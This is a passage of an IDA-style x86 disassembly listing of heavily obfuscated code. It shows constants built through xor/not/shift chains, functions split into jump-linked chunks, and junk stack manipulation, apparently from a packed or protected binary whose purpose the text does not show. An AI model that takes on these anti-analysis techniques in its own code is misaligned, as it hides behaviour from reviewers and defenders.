		jmp	loc_5AC4AD
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A74F4:				; CODE XREF: sub_5A0FFF+9A69j
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	ecx, 4
		jmp	loc_59F4FD
; END OF FUNCTION CHUNK	FOR sub_5A0FFF

; =============== S U B	R O U T	I N E =======================================



sub_5A7508	proc near		; CODE XREF: sub_5A2E28+5B1Fj

; FUNCTION CHUNK AT 0059A8C5 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CCCD SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8843 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AB38E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AEAC2 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, 6AE04193h
		dec	ebp
		not	ebp
		inc	ebp
		shr	ebp, 4
		xor	ebp, 951FBE2h
		sub	ebx, 37CE2AA8h
		add	ebx, ebp
		jmp	loc_59A8C5
sub_5A7508	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA810


loc_5A7528:				; CODE XREF: sub_5AA810:loc_5A9247j
		dec	ecx
		and	ecx, 30271376h
		jle	loc_5A1182
		jmp	loc_5AE49E
; END OF FUNCTION CHUNK	FOR sub_5AA810
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A753A:				; CODE XREF: sub_5AA2D1-67FDj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-20h+arg_1C]
		jmp	loc_5A8B6B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A754E:				; CODE XREF: sub_5A8C5C-12A3j
					; sub_5A6BBC+1600j ...
		push	786Dh
		push	esp
		pop	[esp+0Ch+var_C]
		jmp	loc_5AB5E5
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A755C:				; CODE XREF: sub_599117+7C1Cj
		push	esi
		jmp	loc_5A87DF
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_59C199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7571:				; CODE XREF: sub_5AA2D1-D77Dj
		add	dword ptr [esp+0], 4
		mov	ebx, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, 3B01077Ah
		add	ebx, ecx
		sub	ebx, 3B01077Ah
		pop	ecx
		sub	esp, 4
		mov	[esp+0], edx
		push	edi
		mov	edi, 0D412CEh
		xor	edi, 169B2611h
		sub	edi, 25FE1F8Bh
		jmp	loc_5A943E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A75B3	proc near		; CODE XREF: sub_59982C+7665j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059F9E2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A3A26 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AD6DA SIZE 0000003C BYTES

		push	ebp
		jmp	loc_59F9E2
sub_5A75B3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5A75B9	proc near		; DATA XREF: sdfs____:00598E98o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0059E873 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A0125 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC875 SIZE 00000005 BYTES

		mov	ax, [esp+0]
		push	ebp
		push	esp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59E873
sub_5A75B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_5A75D0:				; CODE XREF: sub_5AB207-C79Dj
					; sub_5A7746-40FBj
		shl	edx, 1
		push	212Ch
		mov	[esp-4+arg_0], ecx
		push	ebp
		jmp	loc_5A1FCE
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A75E0:				; CODE XREF: sub_5AA2D1-DB30j
					; sub_599A61:loc_59F12Ej
		mov	eax, 3F000D71h
		shr	eax, 7
		push	esi
		mov	esi, 1EB34191h
		push	ebp
		jmp	loc_5AB0BB
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_5AF33C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5A7615:				; CODE XREF: sub_5A405F+37C9j
		mov	[esp+0], ecx
		jmp	loc_59A340
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5648


loc_5A761D:				; CODE XREF: sub_5A5648-680Fj
		pop	eax
		jmp	loc_5AE3F3
; END OF FUNCTION CHUNK	FOR sub_5A5648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B1D


loc_5A7623:				; CODE XREF: sub_5A9B1D+948j
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebp, ebx
		add	ebp, 16FB1143h
		pop	ebx
		xchg	ebp, [esp-8+arg_4]
		pop	esp
		jmp	loc_5AD0FB
; END OF FUNCTION CHUNK	FOR sub_5A9B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E94B


loc_5A763E:				; CODE XREF: sub_59E94B+BCE0j
		xor	edi, [esp+0]
		mov	esp, [esp+0]
		cmp	cl, al
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59E94B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A764C:				; CODE XREF: sub_5AA2D1-78F0j
		mov	ebx, esp
		push	edi
		mov	edi, 57C76F78h
		add	edi, 5DE20963h
		jmp	loc_59FEB8
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A765F	proc near		; CODE XREF: sub_5A491A-6E7Fj

var_8		= dword	ptr -8
arg_0		= word ptr  4
arg_4		= word ptr  8

; FUNCTION CHUNK AT 0059BA28 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059CAEF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A274E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4B10 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AB0DA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC165 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AEE08 SIZE 00000013 BYTES

		push	ebx
		mov	ebx, 0F1528D1h
		dec	ebx
		not	ebx
		dec	ebx
		not	ebx
		shr	ebx, 6
		shr	ebx, 6
		jmp	loc_5A274E
sub_5A765F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EBF


loc_5A7676:				; CODE XREF: sub_5A9EBF-17F4j
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_59C8A5
; END OF FUNCTION CHUNK	FOR sub_5A9EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A767E:				; CODE XREF: sub_5A2E28-4E8j
		sub	ecx, 5826004Eh
		push	eax
		mov	eax, 8BFE8A9Dh
		sub	ecx, eax
		pop	eax
		sub	edi, ecx
		pop	ecx
		jmp	loc_5AD26A
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A041B


loc_5A7695:				; CODE XREF: sub_5A041B+38j
		pop	esi
		jmp	loc_5A4F36
; END OF FUNCTION CHUNK	FOR sub_5A041B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A769B:				; CODE XREF: sub_59F1F3+Ej
		inc	edi
		jg	loc_5AAE6C
		jmp	loc_5AC370
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
		push	54A6h
		mov	[esp], esi
		sub	al, 0CDh
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5A76B1:				; CODE XREF: sub_59F1F3+43C7j
		sub	ebx, 4
		jmp	sub_5A12E6
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A76B9:				; CODE XREF: sub_5AA2D1-B3B3j
		pop	esp
		xor	bx, ax
		movzx	eax, ax
		push	small 56B2h
		jmp	loc_5A5127
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A76C9:				; CODE XREF: sub_5A913B-3DCBj
					; DATA XREF: sub_5AF46F-1230Ao	...
		mov	edx, 1E136ABDh
		jmp	loc_59C4FC
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------


loc_5A76D3:				; CODE XREF: sdfs____:005AB43Dj
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, 5F181C26h
		add	edx, ebx
		push	edi
		mov	edi, 2F5F1F05h
		shr	edi, 2
		dec	edi
		push	ebp
		mov	ebp, 422422DDh
		or	ebp, 22226E94h
		xchg	esi, ebp
		push	esi
		jmp	loc_5AC9E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A7701:				; CODE XREF: sub_5AC803-7225j
					; sub_59EE3E+C00Bj
		xor	ebp, 70EF0FB3h
		jmp	loc_5AD6B8
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A770C:				; CODE XREF: sub_5AF2D9-E56Dj
		mov	esp, [esp+0Ch+var_C]
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 4
		add	ecx, 76C55475h
		jmp	loc_59BBCE
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A7722:				; CODE XREF: sub_5A7BA0+Ej
		pop	dword ptr [esp+0]
		jmp	loc_5A3DC1
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A772A:				; CODE XREF: sub_59CBE1+9290j
					; sub_5992DA+DBC6j
		mov	[esp+0], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+0]
		jmp	loc_599BEA
; END OF FUNCTION CHUNK	FOR sub_59CBE1

; =============== S U B	R O U T	I N E =======================================



sub_5A7746	proc near		; CODE XREF: sub_5A0FFF+CB8j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A6C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CC5F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0059D5AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D83C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A1FCE SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A23D8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3649 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A61FB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A75D0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A7BF4 SIZE 00000007 BYTES

		push	ebp
		xor	[esp+4+var_4], 2C84265Fh
		pop	ecx
		jmp	loc_59A6C4
sub_5A7746	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A7754:				; CODE XREF: sub_5A2E41-5110j
		pop	ebx
		add	edx, 38C2204Fh
		sub	eax, edx
		jmp	loc_599BA8
; END OF FUNCTION CHUNK	FOR sub_5A2E41

; =============== S U B	R O U T	I N E =======================================



sub_5A7762	proc near		; CODE XREF: sub_5A66E1+4j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A103D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A776E SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	esp
		jmp	loc_5A103D
sub_5A7762	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7762


loc_5A776E:				; CODE XREF: sub_5A7762-671Fj
		push	3893h
		mov	[esp+8+var_8], esi
		mov	esi, 296064D3h
		jmp	loc_59BA5C
; END OF FUNCTION CHUNK	FOR sub_5A7762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7780:				; CODE XREF: sub_5AA2D1-9AA7j
		shl	ebx, 3
		add	ebx, 845DFAC4h
		push	2C03h
		mov	[esp+10h+var_10], edi
		mov	edi, 297A2AC4h
		add	eax, edi
		pop	edi
		add	eax, ebx
		sub	eax, 297A2AC4h
		push	[esp+0Ch+var_C]
		pop	ebx
		add	esp, 4
		jmp	loc_5A670A
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A77AC:				; CODE XREF: sub_5A477C:loc_59F67Fj
		push	edi
		jmp	loc_59D56B
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A77B2:				; CODE XREF: sub_5AA2D1-EAE5j
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		push	766Fh
		mov	[esp+4+var_4], esi
		jmp	loc_5ACFEF
; ---------------------------------------------------------------------------


loc_5A77C9:				; CODE XREF: sub_5AEC1C-E6E2j
					; sub_5AA2D1+5F6Fj
		mov	bh, 4
		mov	al, 28h
		sub	al, bh
		pop	ebx
		jmp	loc_5A71C6
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5A77D5	proc near		; CODE XREF: sub_5992DA+C70Aj
					; sub_5992DA+EFA9j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B25C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B510 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059C091 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E134 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A0777 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A158E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A1878 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A1C1D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A2142 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2195 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A32BE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A56AD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A5F94 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A6336 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A9B45 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAA9A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AB3FA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB47F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AB99E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005ABB34 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AD956 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AF5B3 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 171B31C7h
		shl	ebx, 8
		or	ebx, 6ECE0F0Dh
		neg	ebx
		add	ebx, 0D3AD2B0Eh
		add	eax, ebx
		jmp	loc_59E134
sub_5A77D5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A77F3:				; CODE XREF: sub_5992DA+9B3Cj
		mov	ebp, 446A3431h
		xor	ebp, 446A3430h
		jmp	loc_5A19F7
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5A7803:				; CODE XREF: sub_5A405F+A749j
		xor	eax, 1C7E2BE8h
		xor	ecx, eax
		pop	eax
		inc	ecx
		sub	ecx, 0EBD3CE16h
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		mov	ax, [esp-8+arg_4]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_5A7615
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------


loc_5A782D:				; CODE XREF: sdfs____:005AE9AAj
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59910F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A783F:				; CODE XREF: sub_59A479+158A8j
		jge	loc_5A6C30
		xor	eax, 4FEC8778h
		jmp	loc_5A9089
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0377


loc_5A784F:				; CODE XREF: sub_5B0377-5931j
		mov	ecx, 2CA71FD0h
		sub	ecx, 6E273517h
		add	ecx, 1FF04106h
		or	ecx, 762193Dh
		xor	ecx, 0AB235698h
		sub	edi, ecx
		pop	ecx
		inc	edi
		shr	edi, 1
		push	0D80h
		jmp	loc_59C3DF
; END OF FUNCTION CHUNK	FOR sub_5B0377
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2E4


loc_5A787C:				; CODE XREF: sub_59B2E4+10FC7j
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		jmp	loc_5AF40A
; END OF FUNCTION CHUNK	FOR sub_59B2E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21A4


loc_5A7890:				; CODE XREF: sub_5A21A4-2E33j
		mov	[esp+0], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	4549h
		mov	[esp-0Ch+arg_8], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp-8+arg_4]
		push	esi
		jmp	loc_5A9111
; END OF FUNCTION CHUNK	FOR sub_5A21A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A78B3:				; CODE XREF: sub_59EE3E+167Ej
		sub	edi, 531910AFh
		sub	edi, ebp
		add	edi, 531910AFh
		pop	ebp
		push	esi
		push	53BA7C71h
		mov	esi, [esp+0]
		jmp	loc_5A8373
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A78D0:				; CODE XREF: sub_5992DA+9C28j
					; sub_5AA2D1+4503j
		neg	esi
		jmp	loc_5AAAFC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A78D7:				; CODE XREF: sub_5A6BBC+523Dj
		mov	[esp+4+var_4], edi
		mov	edi, 656C1BD1h
		neg	edi
		jns	loc_5A3C86
		and	edi, 0BFB0A92h
		xor	edi, 5BAA540Ah
		dec	edi
		not	edi
		xor	edi, 0D918DC01h
		jmp	loc_59FE35
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5A7901:				; CODE XREF: sub_5AAB66-F4CEj
		mov	edx, 2C2B62CDh
		shl	edx, 6
		xor	edx, 69E689C1h
		add	ebx, edx
		pop	edx
		sub	ebx, 0C033F3B7h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A275B
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C5C


loc_5A7920:				; CODE XREF: sub_5A8C5C-C0CDj
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5A510A
; END OF FUNCTION CHUNK	FOR sub_5A8C5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5A792E:				; CODE XREF: sub_59FB1A+4A80j
		push	6E74h
		jmp	loc_5AF300
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7938:				; CODE XREF: sub_5AA2D1-F55Bj
		add	dl, al
		jmp	loc_5AC1B2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5A793F:				; CODE XREF: sub_59A479+6F34j
		push	ecx
		mov	ecx, eax
		mov	edi, ecx
		jmp	loc_5AB837
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD795


loc_5A7949:				; CODE XREF: sub_5AD795-12A81j
		mov	esp, [esp+4+var_4]
		push	6896h
		mov	[esp-4+arg_0], ebx
		push	86Ah
		mov	[esp+0], edi
		jmp	loc_5A8593
; END OF FUNCTION CHUNK	FOR sub_5AD795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A7961:				; CODE XREF: sub_59D6B8+9374j
		sub	edx, 2B055050h
		sub	edx, eax
		add	edx, 2B055050h
		push	7346h
		mov	[esp+0Ch+var_C], edi
		mov	edi, 36F423D8h
		add	edx, edi
		push	[esp+0Ch+var_C]
		jmp	loc_5A480B
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAF7A


loc_5A7986:				; CODE XREF: sub_5AAF7A-9ED4j
		mov	ebx, 62547DF8h
		push	eax
		mov	eax, 433A24DCh
		neg	eax
		xor	eax, 262266DEh
		jmp	loc_5AE54E
; END OF FUNCTION CHUNK	FOR sub_5AAF7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C5C


loc_5A799D:				; CODE XREF: sub_5A8C5C-3B3Aj
		add	eax, ebp
		sub	eax, 44D92EF3h
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		push	eax
		push	[esp-8+arg_8]
		pop	eax
		pop	[esp-8+arg_4]
		pop	esp
		push	[esp-10h+arg_C]
		pop	eax
		push	ebx
		jmp	loc_5A754E
; END OF FUNCTION CHUNK	FOR sub_5A8C5C

; =============== S U B	R O U T	I N E =======================================



sub_5A79BE	proc near		; CODE XREF: sub_5AA2D1-DE2j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00599FFA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A017 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AB42 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059B749 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059BC20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059BF93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059BFD6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059DA02 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059E2EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E7CD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F56C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F842 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A0EA3 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A1048 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A175B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A25D4 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2A2E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2FE8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A34D5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3F10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A53C2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A55E3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A5638 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A662B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7E0D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A821B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A8984 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A8BF2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A937C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9457 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9582 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A998F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A9C5C SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005AA37F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AA53A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AAB8C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AB536 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005ABF68 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AC116 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC7B5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC978 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005AD157 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE436 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AF71D SIZE 00000020 BYTES

		push	ebp
		mov	ebp, 7380666Bh
		add	ebx, ebp
		pop	ebp
		add	ebx, eax
		sub	ebx, 7380666Bh
		sub	ebx, 4D60FBEh
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59BF93
sub_5A79BE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A79E3:				; CODE XREF: sub_5AA2D1-503Aj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		pop	[esp+2+var_4+2]
		mov	esp, [esp+0]
		movzx	ecx, al
		push	edx
		jmp	sub_59A26C
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A7A01:				; CODE XREF: sub_5A477C+1D66j
		sub	edi, 8270527h
		jmp	loc_5A5B09
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA83C


loc_5A7A0C:				; CODE XREF: sub_5AA83C+19j
		push	esp
		pop	ecx
		jmp	loc_59E387
; END OF FUNCTION CHUNK	FOR sub_5AA83C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A7A13:				; CODE XREF: sub_5A5EFF+A457j
		xor	ebp, eax
		pop	eax
		shl	ebp, 4
		js	loc_5A6BD3
		inc	ebp
		js	loc_5A5340
		jmp	loc_59CC7F
; END OF FUNCTION CHUNK	FOR sub_5A5EFF

; =============== S U B	R O U T	I N E =======================================



sub_5A7A2B	proc near		; DATA XREF: sdfs____:00599078o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059DEA1 SIZE 00000007 BYTES

		mov	ax, [esp+0]
		push	799Bh
		mov	[esp+4+var_4], ecx
		jmp	loc_59DEA1
sub_5A7A2B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A7A3C:				; CODE XREF: sub_5A477C-724Dj
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	6C4Eh
		mov	[esp-4+arg_0], ebp
		jmp	loc_5A0AD3
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A7A4F:				; CODE XREF: sub_5AA2D1-FE6Aj
		pop	small word ptr [edi+eax*4]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


